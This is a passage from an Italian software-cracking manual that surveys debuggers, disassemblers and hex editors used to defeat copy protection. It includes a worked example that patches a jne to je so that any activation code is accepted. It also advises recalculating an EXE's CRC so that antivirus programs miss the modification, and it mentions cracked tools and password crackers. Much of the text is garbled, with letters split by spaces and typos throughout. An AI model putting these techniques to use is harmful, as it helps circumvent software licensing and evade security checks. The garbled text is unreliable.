conoscenze devono esser e anche r el at i ve ai pr ot ocol l i usat i dal l e r et i come ad
esempi o TCP/ I P ecc.
Mol t e backdoor vengono aper t e usando f unzi oni l egat e ai si st emi di post a
el et t r oni ca i nser i t i al l i vel l o di si st ema i n OS qual i Uni x, VMS o si mi l i a.

Linguaggio C, Basic o Pascal

La scr i t t ur a dei pr ogr ammi per esegui r e l e pat ch pu esser e esegui t a medi ant e
uno di quest i l i nguaggi .
Se si cer ca di apr i r e por t e i n si st emi r emot i al l or a sar necessar i o conoscer e
l i br er i e di f unzi oni per t al i l i nguaggi come pot r ebbe esser e Super TCP per l a
scr i t t ur a di sof t war e agganci at a al pr ot ocol l o TCP/ I P.
Sempr e con quest i l i nguaggi possi bi l e scr i ver e i pr ogr ammi di r i cer ca del l e
passwor d per i si st emi Uni x.
La conoscenza del l e f unzi oni di l i br er i a di al cuni l i nguaggi f aci l i t a l a r i cer ca
del l e f unzi oni da ut i l i zzar e come condi zi oni nei br eakpoi nt .
Se cer chi amo di i dent i f i car e i l punt o i n cui vi ene l et t a l a st r i nga di
ser i al i zzazi one di un pr ogr amma e quest o scr i t t o i n C, al or a i br eakpoi nt l i
pot r emo i nser i r e ut i l i zzando come f unzi oni da i nt er cet t ar e Get Dl gI t emText e
si mi l i .
Tut t i i l i nguaggi ut i l i zzano al l a base l e api di Wi ndows per cui si pot r ebbe
sempr e cer car e di i nt er cet t ar e quel l e a basso l i vel l o.
Chi ar ament e si compl i ca i l t ut t o i n qant o i l nost r o pr ogr amma i mpor t er l e
f unzi one xxxxx che cont enut a nel l a DLL yyyyyy l a qual e a sua vol t a i mpor t a e
f a r i f er i ment o al l a f unzi one Get Dl gI t emText che i n user 32. dl l .

Api di Windows ed Interrupts

Mol t e f unzi oni esegui t e dai pr ogr ammi sono ot t enut e medi ant e l a chi amat a a
f unzi oni del l e api di Wi ndows. Supponi amo che ad un cer t o punt o i n una mascher a
un pr ogr amma r i chi eda un codi ce si cur ament e ( o al meno pr obabi l ment e) ver r
esegui t a t r ami t e una f unzi one Get Dl gI t emText che f a appunt o par t e del si st ema di
Wi ndows.
Mol t e pr ot ezi oni sono agganci at e ad i nt er r upt s di si st ema che per met t ono
l accesso al di sco o a por t e ser i al i .
Al f i ne di i nt er cet t ar l i necessar i o conoscer e l a t eor i a sul l or o
f unzi onament o.

Debugger e disassemblatori

L esecuzi one passo a passo del pr ogr amma da col pi r e avvi ene t r ami t e debugger .
I l pi f amoso nel l ambi ent e si cur ament e Sof t I ce del l a NuMega.
Mol t i debugger vengono f or ni t i con i si st emi di svi l uppo come ad esempi o i l
Tur bo Debugger del l a Bor l and o i l CodeVi ew f or ni t o con i l compi l at or e C f i no
al l a ver si one 2. 0.
WDASM un ot t i mo pr ogr amma e di spone di un i nf i ni t di opzi oni .
Si pu f ar e una di st i nzi one t r a debugger e di sassembl at or e.
I l pr i mo vi sual i zza e spesso per met t e di sal var e i l codi ce assembl er anche se l a
sua f unzi one pr i bci pal e quel l a di segui r e passo a passo i l pr ogr amma e quel l o
di pot er set t ar e condi zi oni per i nt er r omper e i l f l usso a l or o ver i f i car si .
Al cuni pr odot t i svol gono
si a l a f unzi one di
di sassembl at or e che
quel l a di debugger ment r e
al t r i svol ogono sol o una
f unzi one.
I nol t r e bi sogna f ar e, nel
campo dei debugger s,
anche un al t r a
di f f er enzazi one.
Wi ndows un si st ema
mul t i t aski ng per cui i n
un moment o possono esser e
r esi dent i i n memor i a pi
pr ogr ammi e pi DLL
condi vi se t r a quest i .
Al cuni debugger s
r i chi edono i l nome del
pr ogr amma da debuggar e e
poi , dopo aver l o
car i cat o, segueno st ep by
st ep quel l o.
Al cune f nzi oni che per met t ono di el encar e l e f unzi oni i mpor t at e, l heap, l o
st ack ecc. f anno r 8i f er i ment o a quel l e speci f i che del pr ogr amma car i cat o.
Al t r i debugger , come Sof t I ce, sono di si st ema per cui di spongono di possi bi l i t
el evat e anche se sono pi compl essi da ut i l i zzar e.
Sof t I ce per met t e di debuggar e dr i ver s, devi ces ecc. ma i l suo ut i l i zzo pi
compl esso.
Le sue f unzi oni possi edono ar goment i che ser vono a speci f i car e a qual e pr ocesso
si r i f er i scono.
Ad esempi o i n un debugger si pot r ebbe set t ar e un beakpoi nt i n modo da f er mar e i l
pr ogr amma nel caso i n cui venga i nvi at o un messaggi o di WM_DESTROY.
Se i l debugger si r i f er i sce al sol o
pr ogr amma car i cat o non ci sono pr obl emi .
Nel caso i n cui ci s r i f er i sca a t ut t i
ni pr oess9i at t i vi nel si st ema ci si
dovr pr i ma usar e una f unzi one che
per met t a di r i cavar e l handl e del t ask,
del pr ocesson o del l a wi ndow a cui ci si
vuol e r i f er i r e e poi ut i l i zzar l a come
ar goment o per i l set t aggi o del
br eakpi ont i n modo che quest o si
r i f er i sca sol o al t ask i nt er essat o.
Le f unzi oni di sof t i ce per met t ono di
vi sual i zzar e l e cl assi , i t ask, gl i I D
dei pr ocessi , gl i handl e del l e wi ndows
ecc.
Pr ogr ammi come I DA non possi edono
f yunzi oni da debugger ma cr eano sor gent i
asssembl er di qual i t super i or e agl i
al t r i .
L anal i si f at t a da I DA el evat a e i
par amet r i per l a cr eazi one del sour ce
ASM sono t ant i .
I DA i nol t r e gest i sce mol t i pr ocessor i e gi i n f ase di l et t ur a i ni zi al e del
pr ogr amma r i esce ad i dent i f i car e i modul i associ at i e per met t e di speci f i car e
mol t e opzi oni di anal i si .
I DA possi ede car at t er i st i che super i or i per quant o r i guar da l a r i cost r uzi one dei
dat a segment si no a r i usci r e a i dent i f i car e, i n al cuni casi , st r ut t ur e e ogget t i
r i f er i t i appunt o ai dat i .
WDASM possi ede un buon f at t or e r el at i vo al l a pr eci si one del sor gent e assembl er
cr eat o ma si cur ament e non gi nge a qual l e di I DA.
Un al t r o di sassembl at or e SOURCER anche se con quest o, per r i cr ear e pr ogr ammi
Wi ndows, bi sogna segui r e pi passaggi .
Sour cer ha una buobna t r adi zi one dur at a anni .
Per sonal ment e l o r i cor do dal 1987.
Di spone di una sol a mascher a i n cui sono def i ni t i i par ament r i di anal i si .
Ri t or nando a Sof t I ce l o r i t er r ei sol t ant o un debugger e non un di sassembl at or e.


Viewer hex

Dopo aver i dent i f i cat o l e modi f i che da appor t ar e a l i vel l o di i st r uzi oni
assembl at e quest e dovr anno esser e codi f i cat e i n esadeci mal e e dovr anno esser e
scr i t t e dent r o al pr ogr amma t r ami t e un edi t or esadeci mal e.
Facci amo un esempi o pr at i co.
Supponi amo di aver e una chi amat a ad una f unzi one che esegua l a r i chi est a
d i nser i ment o del codi ce d at t i vazi one e al r i t or no dal l a chi amat a ci si a i l
cont r ol l o r el at i vo al l a cor r et t ezza.
I l codi ce pot r ebbe esser e :

E891D9F5D1 call 00404567
38FD cmp esi, eax ; controlla la correttezza
754E jne 00404445 ; se errato salta a ....

I l codi ce pot r ebbe esser e modi f i cat o
i nver t endo l e condi zi oni di sal t o ovver o
:

je 00404445

I l codi ce oper at i vo dovr ebbe esser e
cambi at o da 75 a 74 per cui i val or i
esadeci mal i da i nser i r e dovr ebber o
di vent ar e :

744E je 00404445

Medi ant e edi t or HEX pot r emmo
r i cer car e l a sequenza 754E medi ant e
l e apposi t e opzi oni e successi vament e
i nser i r e i l nuovo val or e.
La f i nest r a di r i cer ca qui a f i anco
cor r i sponde a quel l a di HEX WORKSHOP
ma comunque i n qual si asi edi t or HEX
esi st e l a possi bi l i t di r i cer car e
sequenze di val or i esadeci mal i .
Pr i ma di esegui r e l e modi f i che sul
f i l e pr endet evi cur a dei cr ear vi una
copi a di backup del f i l e or i gi nal e i n modo da pot er l o sost i t ui r e nuovament e nel
caso i n cui non f unzi oni pi .


Analizzatori del file di registro

Mol t i dat i l egat i al l e l i cenze dei sof t war e ecc. sono memor i zzat i dent r o al f i l e
di r egi st r o.
Per l anal i si di quest i esi st ono di ver si pr ogr ammi pi o meno compl et i .
Al cuni eseguono sol o l et t ur e e scr i t t ur e nel f i l e al t r i i nvece sono i n gr ado di
t ener l i sot t o osser vazi one per veder e l e modi f i che che vengono appor t at e da
cer t i pr ogr ammi .
Nel l e Nor t on Ut i l i t i es se ne t r ova uno ed i n ogni modo t r a l o shar ewar e ce ne
sono mol t i ssi mi t r a cui uno speci al i zzat o per i CRACKATORI Wi n- eXpose- Regi st r y.
Al cuni pr ogr ammi cont r ol l ano t ut t e l e modi f i che che vengono appor t at e al si st ema
compr ese scr i t t ur e e cancel l azi oni dai f i l e WI N. I NI e SYSTEM. I NI e aggi unt a di
pr ogr ammi al f i l e syst emdel si st ema.

File vari

Esi st ono di ver si f i l es che di vent ano ut i l i i n al cune ci r cost anze.
Al cuni cr ackano i f i l es . ZI P, al t r i cer cano passwor d sot t o NT o Uni x.
Un f i l e essenzi al e i n mol t i casi I COMP i l qual e r eper i bi l e anche nel l a
ver si one f or ni t a con i l Bor l and C di I nst al l Shi el d.
Si t r at t a del compr essor e.
Al cuni pr ogr ammi come ad esempi o l i br er i e, act i veX ecc. vengono f or ni t i
compr essi medi ant e quest o compr essor e.
Per pot er debuggar e i l codi ce necessar i o decompr i mer e i f i l es di l i br er i a.
Quando vi ene i nst al l at o un f i l e medi ant e I nst al l Shi el d nel l a di r ect or y
t empor anea del vost r o si st ema t r over et e i seguent i f i l es:

_SETUP.LIB
SETUP.EXE
_SETUP.DLL
SETUP.PKG
SETUP.INS

_SETUP. LI B un dat abase compr esso da I nst al l Shi el d i l qual e pu cont ener e f i l es
esegui bi l i e dl l di suppor t o al l i nst al l azi one.
Al cune vol t e quest i f i l es di
suppor t o sono nel l a st essa
di r ect or y di SETUP. EXE ma
al t r e vol t e sono compr esse
dent r o a quest o f i l e.
Un f i l e spesso ut i l e l o
Spy++ f or ni t o con i l i nguaggi
Mi cr osof t o l ut i l i t y si mi l ar e
f or ni t a dal l a Bor l and.
Spy++ i n gr ado di spi ar e
t ut t i i messaggi i ndi r i zzat i
al l e f i nest r e aper t e i n
Wi ndows con l a possi bi l i t di
sel ezi onar e qual i ed i n
par t i col ar e modo ha l a
possi bi l i t di f i l t r ar e i t i pi
di messaggi .
Al cune vol t e f aci l e dedur r e
con qual i f unzi oni vengono
esegui t e l e l et t ur e dei codi ci
di ser i al i zzazi one ment r e al t r e vol t e t al i f unzi oni non vengono svol t e nei modi
cl assi ci , con Get Dl gI t emText o si mi l i a, e qui ndi di vent a pi compl esso
i dent i f i car e i l punt o gi ust o dove met t er e br eakpoi nt .
Sof t I ce possi ede un met odo per gest i r e i n backt r ace ma comunque l i ndi vi duazi one
del punt o gi ust o f aci l i t a compi t i .
Medi ant e una f unzi one par t i col ar e di Spy++ possi bi l e sel ezi onar e qual e
f i nest r a met t er e sot t o osser vazi one.
I n una f i nest r a di Spy++ esi st e un cur sor e che pu esser e agganci at o con i l
mouse e t r aspor t at o sul l a f i nest r a
i nt er essat a.
Di quest a f i nest r a ver r
sel ezi onat o l handl e.
Successi vament e possono esser e
scel t i i messaggi che si vogl i ono
i nt er cet t ar e sel ezi onandol i dal l a
l i st a dei messaggi ver i e pr opr i
oppur e scegl i endo l a cl asse degl i
ogget t i Wi ndows l egat i al l a
t i pol ogi a dei messaggi ( pul sant i ,
edi t f i el d ecc. )
Tant e ut i l i t i es r eper i bi l i su
I nt er net o nei di schi dei
compi l at or i e OS possono di vent ar e
ut i l i i n cer t e ci r cost anze.
Pr ogr ammi come, ad esempi o,
DUMPBI N. EXE, EDI TBI N. EXE ecc.
er ano pr esent i i n al cune ver si oni
vecchi e del compi l at or e Mi cr osof t .
Anche i l vecchi o DEBUG. COM del DOS
al cune vol t e pu esser e ut i l e.
Ri cor dat evi sempr e che spesso, ad esempi o nel l a gr af i ca, un sol o pr ogr amma pu
f ar e l e cose ma due o t r e l e possono sempl i f i car e.
Pensat e quando ad esempi o usat e un pr ogr amma per f ar e scr i t t e a 3 di mensi oni .
Un al t r o pr ogr amma l o usat e per f ar e l o sf ondo ed un t er zo ancor a per f onder e l e
due i mmagi ni di pr i ma e per cr ear ci degl i ef f et t i .
I n quest o campo i l di scor so l o st esso.
Spesso pot r est e t r ovar vi nel l e
canne debuggando con Sof t I ce e
qui ndi pot r est e pr ender e DASM per
anal i zzar e qual che bl occo
par t i col ar e e dopo aver e
i dent i f i cat o l a posi zi one usar e
nuovament e Sof t I ce per pr osegui r e.
Al t r e vol t e l uso di di ver si
pr ogr ammi obbl i gat or i o i n quant o
uno vi ene usat o per decr ypt ar e i l
si st ema di pr ot ezi one a t empo.
Un al t r o per anal i zzar e i l
pr ogr amma ed un al t r o per scr i ver e
su di sco i cambi ament i .
Usar e sempr e gl i st essi pr ogr ammi
sempl i f i ca l a vi t a anche per ch
al cuni pr et endono mol t o t empo per
pot er l i usar e con di mest i chezza e
qui ndi vi st i gl i sf or zi f at t i
convi ene poi f ar l i f r ut t ar e.
Spesso si cambi ano l e cose non per ch non soddi sf ano pi ma sol o per ch di
moda aver sempr e l ul t i ma ver si one.
I n quest o campo conver r ebbe veder e i r i sul t at i .
Se con un debugger si r i esce sempr e ad aver e sot t omano l e f unzi oni necessar i e
non convi ene cambi ar e spesso anche per ch i n quel modo al l a f i ne si
conoscer ebber o t ant i pr ogr ammi ma nessuno bene.
Sof t I ce possi ede, ad esempi o, una cos ampi a possi bi l i t di br eakpoi nt che l a
di f f i col t quel l a di ar r i var e a compr ender e bene quando convi ene usar ne un
t i po e quando i nvece convi ene usar ne un al t r o t i po.
Al cune vol t e bi sogna r i cer car e nei pr odot t i ut i l i zzat i per l a cr eazi one dei
pr ogr ammi o dei set t aggi l e ut i l i t y.
Pr i ma di cevo di I COMP ovver o del l ut i l i t y di compr essi one usat o da
I nst al l Shi el d.
Per pot er esegui r e i l cr acki ng necessar i o pr i ma scompat t ar e i modul i cr eat i
dal gest or e del l e i nst al l azi oni e poi esegui r e i l set up t r ami t e debugger .
Un pr ogr amma par t i col ar e SMARTCHECK sempr e del l a NuMega che anche se
abbast anza cr i t i cat o, al cune vol t e per met t e di r aggi unger e degl i obbi et t i vi
senza i mpazzi r e con al t r i st r ument i pi compl essi .

Smar t Check un debugger di r un- t i me che per met t e di af f r ont ar e l e condi zi oni
pi cr i t i che i ncont r at e con Vi sual Basi c.

Errori fatali di run-time che sono complessi da risolvere
Problemi che nascono da seuqenze di azioni
Uso no corretto di funzioni API
Cattivi valori passati come argomenti alle funzioni
Gestione di valori complessi
Errori delle componenti come ActiveX ecc.

Per quant o ci r i guar da i nt er essant e veder e come Smar t Check f unzi ona.
Come vi ene eseui t o un . EXE SC cont i nua a f unzi onar e i n backgr ound moni t or andol o
i n cont i nuazi one e cat t ur ando t ut t i gl i event i .
Dur ant e l esecuzi one ossi bi l e abi l i t ar e o di sabi l i t ar e i l r epor t degl i event i .
SM cer ca aut omat i cament e gl i er r or i nel pr ogr amma e nel l e DLL associ at e.
Quest o f unzi ona anche su pr ogr ammi senza sor gent i ( cosa per noi f ondament al e) .
Comunque l a cosa mi gl i or e st nel f at t o che SM cont r ol l a t ut t e l e chi amat e al l e
API , t ut t i i messaggi e t ut t i gl i al t r i event i del pr ogr ammna.

I n quest o vol ume vedr di t r at t ar e t ut t o quel l o che e necessar i o saper e.
Una par t e dedi cat a al l a t eor i a dest i nat a a spi egar e l a f i l osof i a di cer t i
l i nguaggi , di cer t i t i pi di pr ot ezi oni e di cer t i si st emi di svi l uppo.
La par t e pr at i ca ut i l i zzer si st emi f aci l ment e r eper i bi l i su I nt er net .
Vi r i por t er i nf or mazi oni i n due r i pr ese e dove pr ocur ar vel i .
Nel l a pr i ma f ase f ar emo una panor ami ca di t ut t i i t i pi di pr ogr ammi ment r e nel l a
seconda vedr emo l a si nt assi e degl i esempi d uso.
Ri por t er anche del l e mappe con su i gr uppi di sof t war e che pot r ebber o esser e
adot t at i i n un caso o nel l al t r o.
I l manual e t r at t er anche esempi por t at i i n di ver si l i nguaggi anche se
si cur ament e i l C quel l o pi t r at t at o.
Come r i pet er successi vament e ver r r i por t at a l a si nt assi Assembl er anche se di
f at t o non un manual e di pr ogr ammazi one.
Le conoscenze che si devono aver e l egat e a quest o l i nguaggi o sono quel l e
necessar i e per pot er segui r e i l f l usso medi ant e un debugger .
La si nt assi del l Assembl er r i por t a t er mi ni che i l compi l at or e e i l l i nker
el i mi nano e qui ndi anal i zzando i l f i l e esegui bi l e non sono pi vi si bi l i .
Per f ar e un esempi o nel l a pr ogr ammazi one i n Assembl er esi st e l a t eor i a del l a
def i ni zi one dei gr uppi di segment i ecc.
Quest a t eor i a f a si che i l sor gent e debba esser e compi l at o ( scr i t t o) i n un cer t o
modo.

include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS

I l compi l at or e e i l l i nker t r adur r t ant e i nf or mazi oni e t er mi ni del l i nguaggi o
i n i ndi r i zzi f i si ci e quest o i n par t i col ar e modo vi st i con i l debugger i n f ase
di esecuzi one.
Se i o i n un sor gent e Assembl er scr i vo :

label:
mov ax.1
jmp label

eseguo un r i f er i ment o si mbol i co che i l compi l at or e t r aduce i n un r i f er i ment o
r i l ocabi l e.
Ut i l i zzando t abel l e di r i l ocazi one e f at t or i f i si ci l egat i al l a memor i a ed al
si st ema oper at i vo, i l pr ogr amma quando vi ene l et t o i n memor i a non possi ede pi
quei r i f er i ment i i n quel modo ma ut i l i zzer r i f er i ment i ad i ndi r i zzi r eal i od i n
modo di r et t o usando
l i ndi r i zzament o a 32 bi t s o
ut i l i zzando i l met odo del l a
segment azi one.
I n pr at i ca, i nvece del codi ce
pr ecedent e, t r over emo :

0040:4555 ...
0040:6900 mov ax, 1
0040:6910 jmp 0040:4555

Al cuni debugger e di sassembl at or i
t ent ano di r i gener ar e i sor gent i
i n modo pi si mi l e al l or i gi nal e
possi bi l e ma non possono f ar e i
mi r acol i .
Quando i pr ogr ammi sono scr i t t i i n J ava al l or a l a conoscenza del l i nguaggi o
essenzi al e i n quant o i l f l usso dovr esser e segui t o i n J ava.
Pr i ma di i ni zi ar e a veder e l e var i e t eor i e di amo un occhi at a agl i st r ument i che
bi sogner ebbe aver e per pot er esegui r e cer t e oper azi oni .
Tenet e pr esent e che nei casi i n cui vengono r i por t at e t abel l e con l e f unzi oni
dei pr ogr ammi t r at t at i sono quasi sempr e f i l es t r ovat i su I nt er net non sogget t i
a Copyr i ght , e qui ndi r i por t abi l i , e che ho mant enut o nel l a l i ngua or i gi nal e per
evi t ar e di r i por t ar e i nt er pr et azi oni per sonal i .
I nf at t i gener al ment e vengono gar ant i t i i per messi di pubbl i cazi one di cer t i
document i nel l a l or o f or ma or i gi nal e senza che quest i possano esser e al t er at i o
manomessi i n qual si asi modo.

DISASSEMBLATORI

IDA 3.85
DataRescue sa/nv PHONE: 32-4-3446510
45 quai de la Derivation FAX: 32-4-3446514
4020 Liege
Belgium
VAT : BE-448.270.553


Qui ci t r ovi amo di nanzi al r e dei di sassembl at or i .
Sol o per f ar e capi r e l a di f f er enza ut i l i zzando i l vi l e byt e come conf r ont o
possi amo di r e che WDASM un f i l e di 600Kbyt es compat t at o ment r e i n quest o caso
i l demo del l a ver si one 3. 85 un f i l e compat t at o di 16 Mbyt es.
La di f f er enza c e si vede anche per l e f unzi oni e per l accur at ezza del l a
t r aduzi one del codi ce.
I n WDASM l e f unzi oni del pr ogr amma devono esser e i ndi vi duat e dal l a per sona
medi ant e i r i f er i ment i del l e var i e cal l .
Qui l a r i cost r uzi one compl et a.
Le opzi oni per l anal i si e l a r i cost r uzi one del pr ogr amma sor gent e sono
i nnumer evol i .
L i nt er f acci a DOS wi ndovi zzat a anche se si ncer ament e l a pr ef er i sco a quel l a

i nt er ament e Wi ndows.
Al l a dat a at t ual e ( 10- 99) l a ver si one l a 3. 85 anche se di sponi bi l e su
I nt er net , a par t e l a ver si one cr ackat a, anche una ver si one FREEWARE.
I nol t r e esi st e l a possi bi l i t di esegui r e l e anal i si i n base a di ver si
pr ocessor i sel ezi onabi l i da una l unga l i st a.
I DA r i esce a r i cost r ui r e anche l e st r ut t ur e cosa che vi ene consi der at a sol o come
ast r azi one nei l i nguaggi a pi al t o l i vel l o.
I l pr ogr amma pu most r ar e i nf i ni t e i nf or mazi oni i n f i nest r e separ at e.


Ri cor dat evi pr i ma di pr el evar e i l 16 mbyt es del pr ogr amma dal si t o di I DA che i l
f i l e di spone del l e seguent i l i mi t azi oni .


Limitations

- you will not be able to load old databases
- you will not be able to produce .lst or .asm files
- you will not be able to disassemble files larger than 64kbytes.
- this version will expire September 1st, 1998


The full versions comes with

- unlimited database support
- unlimited output support
- file size limit of 64MB
- no expiration date


JAD (per linguaggio JAVA)
Jad - the fast Java Decompiler.
Jad home page: http://web.unicom.com.cy/~kpd/jad.html
Copyright 1997-98 Pavel Kouznetsov.

Si t r at t a di un pr ogr amma che si at t i va da Dos e che necessi t a di ar goment i
sul l a l i nea di comando.
La si nt assi quel l a most r at a nel l i mmagi ne:
Se di sponet e del l e monogr af i e di I oPr ogr ammo r el at i ve a J ava l o t r over et e
dent r o.
For nendogl i i n i nput un f i l e . cl ass avr et e i n out put un f i l e . j ava.

W32/16DASM89
W32DASM Ver 8.xx Series is designed for Windows 95 and Windows NT 4.0.
http://www.epage.com/page/w32dasm

Si t r at t a di
un pot ent e
di sassembl at or
i / debugger che
i n gr ado di
r i cost r ui r e l e
t abel l e l egat e
al l e API
i mpor t at e e
qui ndi i n
gr ado di
most r ar e dove
avvengono t al i
chi amat e ecc.
Nel caso di
i nser i ment o di
codi ci di
at t i vazi one
una f unzi one
i mpor t ant i ssi m
a i n quant o
per met t e di
non i mpazzi r e
cer cando i r i f er i ment i t r ami t e gl i i ndi r i zzi .
I l pr ogr amma apr e di ver se f i nest r e i n cui vengono most r at e mol t i ssi me
i nf or mazi oni
l egat e al l a
memor i a ed ai
r egi st r i .
L esecuzi one
possi bi l e con
mol t e modal i t
come ad esempi o
quel l a passo a
passo con by- pass
del l e f unzi oni
medi ant e comando
manual e, quel l a
passo a passo i n
aut omat i co ecc.
Sono possi bi l i
di ver si
br eakpoi nt
compr esi quel l i
che avvi sano
quando i l vi ene
r i chi amat a
qual che DLL o
quando vengono
cr eat e del l e
t hr eads.
I sor gent i
r i cavat i sono
ver ament e mol t o
det t agl i at i .
Come di cevo pr i ma
dove possi bi l e
WDASM r i cr ea l e i nf or mazi oni si mbol i che.

MSVBVM60.__vbaAryDestruct
MSVBVM60.__vbaAryLock
MSVBVM60.__vbaAryUnlock
MSVBVM60.__vbaBoolVarNull
MSVBVM60.__vbaCastObj
MSVBVM60.__vbaCastObjVar

Ad esempi o quel l e pr ecedent i sono al cune chi amat e al modul o del Vi sual Basi c
f at t e dal pr ogr amma di sassembl at o.

HEX WORKSHOP
Hex Workshop, the Professional Hex Editor v2.0
32 bit version - HWORKS32.ZIP
CompuServe: 75554,377
America Online: BreakPoint
Microsoft Network: BreakPoint_Software
Internet: 75554.377@compuserve.com

Quando si ar r i va ad i dent i f i car e l e pr ocedur e dove vengono esegui t e l e
pr ot ezi oni bi sogna scr i ver e i l codi ce per by- passar l e.
I l codi ce pu esser e bi deat o i n assembl er anche se poi deve esser e t r adot t o i n
exadeci mal e per esser e scr i t t o dent r o al modul o esegui bi l e dove r esi dent e l a
pr ot ezi one ver a e pr opr i a.
Nel capi t ol o r el at i vo al l assembl er ho r i por t at o l e t abel l e con i codi ci
oper at i vi i n esadeci mal e pr opr i o per quest o mot i vo.
Gener al ment e l e cose possono esser e sempl i ci i n quant o spesso si t r at t a di
cambi ar e dei SALTA_SE_UGUALE i n SALTA_SE_DI VERSO e qui ndi i l codi ce or i gi nar i o
necessi t a di pochi ssi me modi f i che che comunque devono esser e i nser i t e t r ami t e
edi t or hex.
HexWor kshop sol o uno ma ne esi st ono al t r i che t r a poco vi most r er .



HACKMAN
Hackman v3.0
http://members.tripod.com/~techmasters
mailto:techmasters@geocities.com

Hackman un ot t i mo edi t or hex i n quant o
di spone di mol t i ssi me f unzi oni t r a cui un
vi sual i zzat or e i n assembl er .
Quest a f unzi one spesso ut i l e quando si
cer cano par t i speci al i di codi ce per esser e
si cur i del posi zi onament o. Quando si cer cano
l e i st r uzi oni i n cui vengono esegui t e l e
pr ot ezi oni bi sogna memor i zzar si da qual che
par t e l e sequenze di codi ci esadeci mal i
r el at i ve al l e i st r uzi oni st esse.
Quest e i nf or mazi oni dovr anno esser e
f or ni t e come ar goment i per l e r i cer che
dent r o al f i l e esegui bi l e i n modo t al e
da pot er i nser i r e l e modi f i che por pr i o
i n quel punt o.
Spesso l e seuquenze di val or i hex si
r i pet ono dent r o ad un pr ogr amma ed
f aci l e per der ci gl i occhi i n mezzo a
pagi ne pi ene di 0x4D 0xFF ecc.
Dar e un occhi at a di conf er ma al codi ce
assembl at i vo non di spi ace.
HackMan di spone i nol t r e di mol t e
opzi oni che per met t ono di set t ar e l e
modal i t di vi sual i zzazi one dei dat i .
Spesso si ha a che f ar e con f i l e con di f f er ent e byt e or der .
Esi st e i nf at t i una di f f er enza t r a i l f or mat o I nt el e quel l o Mot or ol a.
HackMan per met t e di set t ar e anche i l byt e or der .
Tr a l e al t r e cose i nser i t o un cal col at or e hex.


HIEW


Mol t i hacker consi gl i ano HI EW.
Devo ammet t er e che HI EW di spone di mol t e ot t i me f unzi oni anche se non un
pr ogr amma Wi ndows.
Una f unzi one buona che quel l a di most r ar e l header di un f i l e EXE edi t at o.
Dent r o ad un f i l e
. EXE esi st e un CRC
che per met t e a
cer t i pr ogr ammi di
ver i f i car e se i l
pr ogr amma or i gi nal e
ha subi t o del l e
modi f i che, di aci amo
non aut or i zzat e.
Sono i nol t r e
r i por t at e dent r o
al l header mol t e
al t r e i nf or mazi oni
l egat e al l a
r i l ocazi one del
pr ogr amma, al
numer o di pagi ne
ecc.
La cosa ot t i mal e
sar ebbe quel l a di
esegui r e l a
modi f i ca al codi ce del f i l e . EXE e qui ndi di r i cal col ar e i l CRC i n modo da non
most r ar e anomal i e ai pr ogr ammi t i po gl i ant i vi r us.
Esi st ono al cune ut i l i t y che per met t ono di f ar e quest o l avor o e t r a poco ne
par l er emo.
L uni ca seccat ur a st nel f at t o che i l pr ogr amma deve esser e necessar i ament e
l anci at o con i l nome del f i l e da edi t ar e come ar goment o.
Anche HI EWper met t e di most r ar e i l codi ce i n assembl er .

HI EWpossi ede anche l opzi one per
most r ar e i l codi ce come se f osse
a 16 bi t s oppur e a 32 bi t s.
Anche se mol t i edi t or HEX
di spongono del l a possi bi l i t di
most r ar e i l codi ce assembl er
quest i non possono comunque
sost i t ui r e i di sassembl at or i ed i
debugger i qual i a di f f er enza dei
nor mal i edi t or possi edono l a
possi bi l i t di esegui r e passo a
passo i pr ogr ammi senza cont ar e
che anche possi bi l e
vi sual i zzar e t abel l e r el at i ve al
pr ogr amma st esso come ad esempi o f unzi oni espor t at e ecc.





WINDEBUGGER


Dent r o a pr odot t i come Vi sual C++ vi ene f or ni t o i l debugger di Vi sual St udi o.
Mi cr osof t una vol t a ogni t ant o di st r i bui sce dei bl occhi di pr ogr ammi e f i l e
cont enent i i nf or mazi oni ed ut i l i t i es per l ambi ent e Wi ndows.
WI NDEBUGGER pr esent e nel pacchet t o r i l asci at o nel set t embr e 1999.
I n pr at i ca ha gl i st essi comandi del debugger di Vi sual St udi o t ant o da pot er
esser e consi der at o l o st esso ma est er no a quest o.
Si cur ament e l a pot enza di un debugger anche i n f unzi one al l a gamma di
br eakpoi nt che pu gest i r e.
I l si st ema di br eakpoi nt di Wi nDebugger possi ede un i nt er pr et e met aci r col ar e.
Quest o si gni f i ca che possi bi l e esegui r e dei comandi quando si at t i va un
br eakpoi nt .
I l si st ema di br eakpoi nt di WDBG per met t e di usar e qual si asi i st r uzi one di
val ut azi one del C come cost r ut t o condi zi onal e per i l br eakpoi nt st esso.
Ad esempi o per bl occar e i l pr ogr amma ogni vol t a che i l cont enut o di una
var i abi l e cambi at o possi bi l e usar e i l cost r ut t o dent r o al l a f i nest r a di
set t aggi o del l espr essi one :

&<nomevariabile>

Quest a t ecni ca non f unzi ona con l e var i abi l i aut omat i che i n quant o l i ndi r i zzo
pu cambi ar e essendo i n f unzi one del l o st ack i l qual e cambi a ogni vol t a che si
ent r a i n una f unzi one.
Quest o i l caso i n cui i l br eakpoi nt dovr ebbe cambi ar e di nami cament e.
Per quest o scopo i l br eakpoi nt deve esser e abi l i t at o ogni vol t a che l a f unzi one
par t e e di sabi l i t at o i n usci t a.
Supponi amo che l a nost r a f unzi one si chi ami subr out i ne e che l a var i abi l e l ocal e
aut omat i ca si a i .
Fat e par t i r e i l pr ogr amma ed esegui t e l o st ep per ent r ar e nel l a f unzi one che
def i ni sce l a var i abi l e i con :

g subroutine
p
bp500 ={subroutine}&i /r4 /C"?i"

I l numer o del br eakpoi nt deve esser e scel t o suf f i ci ent ement e gr osso da esser e
di st ant e dai numer i degl i al t r i br eakpoi nt s.
Not at e che / r 4 di ce che l a var i abi l e l unga 4 byt es ovver o l e di mensi oni di un
i nt .
Dopo aver f at t o quest o di sabi l i t at e i l br eakpoi nt con

bd500

I l secondo br eakpoi nt vi ene cr eat o sul l ent r y poi nt del l a f unzi one.

bp .<FirstLine> /C"be 500;g"

La pr i ma l i nea del l a f unzi one, l ent r y- poi nt , i l punt o i n cui deve esser e
abi l i t at o i l nost r o br eakpoi nt .
L ul t i mo br eakpoi nt deve esser e cr eat o sul l ul t i ma l i nea del l a f unzi one.

bp .<LastLine> /C"bd 500;g"

Come avr et e not at o i due ul t i mi br eakpoi nt abi l i t ano i l pr i mo i n i ngr esso ed i n
usci t a.
da not ar e che se l a f unzi one di spone di pi punt i di usci t a al l or a si dovr anno
